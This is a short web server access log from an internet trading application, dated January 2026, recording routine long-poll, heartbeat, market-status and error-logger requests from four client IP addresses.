[09/Jan/2026:09:57:53 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:57:53 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:57:54 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924157879 HTTP/1.1" -
[09/Jan/2026:09:57:56 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924145192 HTTP/1.1" -
[09/Jan/2026:09:57:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924149770 HTTP/1.1" -
[09/Jan/2026:09:57:58 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924147056 HTTP/1.1" -
[09/Jan/2026:09:57:59 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924162907 HTTP/1.1" -
[09/Jan/2026:09:58:01 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:58:01 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:58:01 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:58:01 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924150230 HTTP/1.1" -
[09/Jan/2026:09:58:01 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:58:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:58:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:58:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:58:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:58:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924154926 HTTP/1.1" -
[09/Jan/2026:09:58:04 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924153052 HTTP/1.1" -
[09/Jan/2026:09:58:04 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924167978 HTTP/1.1" -
[09/Jan/2026:09:58:06 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924155266 HTTP/1.1" -
[09/Jan/2026:09:58:08 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924159968 HTTP/1.1" -
[09/Jan/2026:09:58:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924173001 HTTP/1.1" -
[09/Jan/2026:09:58:10 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924159053 HTTP/1.1" -
[09/Jan/2026:09:58:11 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924160303 HTTP/1.1" -
[09/Jan/2026:09:58:13 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924165022 HTTP/1.1" -
[09/Jan/2026:09:58:14 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924178065 HTTP/1.1" -
[09/Jan/2026:09:58:14 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:58:14 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:58:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924165336 HTTP/1.1" -
[09/Jan/2026:09:58:16 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924165046 HTTP/1.1" -
[09/Jan/2026:09:58:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924170171 HTTP/1.1" -
[09/Jan/2026:09:58:19 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924183128 HTTP/1.1" -
[09/Jan/2026:09:58:21 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924170357 HTTP/1.1" -
[09/Jan/2026:09:58:22 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924171052 HTTP/1.1" -
[09/Jan/2026:09:58:22 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:58:22 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:58:23 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:58:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924175315 HTTP/1.1" -
[09/Jan/2026:09:58:23 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:58:23 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:58:23 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:58:24 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924188188 HTTP/1.1" -
[09/Jan/2026:09:58:26 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924175416 HTTP/1.1" -
[09/Jan/2026:09:58:28 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924177055 HTTP/1.1" -
[09/Jan/2026:09:58:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924180462 HTTP/1.1" -
[09/Jan/2026:09:58:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924193220 HTTP/1.1" -
[09/Jan/2026:09:58:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:58:31 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924180444 HTTP/1.1" -
[09/Jan/2026:09:58:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:58:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:58:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:58:32 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:58:32 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:58:32 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:58:32 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:58:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924185597 HTTP/1.1" -
[09/Jan/2026:09:58:34 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924183054 HTTP/1.1" -
[09/Jan/2026:09:58:34 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924198295 HTTP/1.1" -
[09/Jan/2026:09:58:36 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924185483 HTTP/1.1" -
[09/Jan/2026:09:58:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924190637 HTTP/1.1" -
[09/Jan/2026:09:58:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924203366 HTTP/1.1" -
[09/Jan/2026:09:58:40 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924189053 HTTP/1.1" -
[09/Jan/2026:09:58:41 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924190515 HTTP/1.1" -
[09/Jan/2026:09:58:44 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924195832 HTTP/1.1" -
[09/Jan/2026:09:58:44 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924208423 HTTP/1.1" -
[09/Jan/2026:09:58:44 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:58:44 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:58:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924195552 HTTP/1.1" -
[09/Jan/2026:09:58:46 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924195054 HTTP/1.1" -
[09/Jan/2026:09:58:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924201020 HTTP/1.1" -
[09/Jan/2026:09:58:49 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924213499 HTTP/1.1" -
[09/Jan/2026:09:58:51 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924200581 HTTP/1.1" -
[09/Jan/2026:09:58:52 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924201054 HTTP/1.1" -
[09/Jan/2026:09:58:52 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:58:52 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:58:53 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:58:53 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:58:53 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:58:53 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:58:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924206138 HTTP/1.1" -
[09/Jan/2026:09:58:54 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924218564 HTTP/1.1" -
[09/Jan/2026:09:58:56 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924205614 HTTP/1.1" -
[09/Jan/2026:09:58:58 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924207053 HTTP/1.1" -
[09/Jan/2026:09:58:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924211272 HTTP/1.1" -
[09/Jan/2026:09:58:59 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924223587 HTTP/1.1" -
[09/Jan/2026:09:59:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:59:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:59:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:59:01 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924210647 HTTP/1.1" -
[09/Jan/2026:09:59:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:59:04 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924213053 HTTP/1.1" -
[09/Jan/2026:09:59:04 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924216408 HTTP/1.1" -
[09/Jan/2026:09:59:04 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924228608 HTTP/1.1" -
[09/Jan/2026:09:59:06 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924215683 HTTP/1.1" -
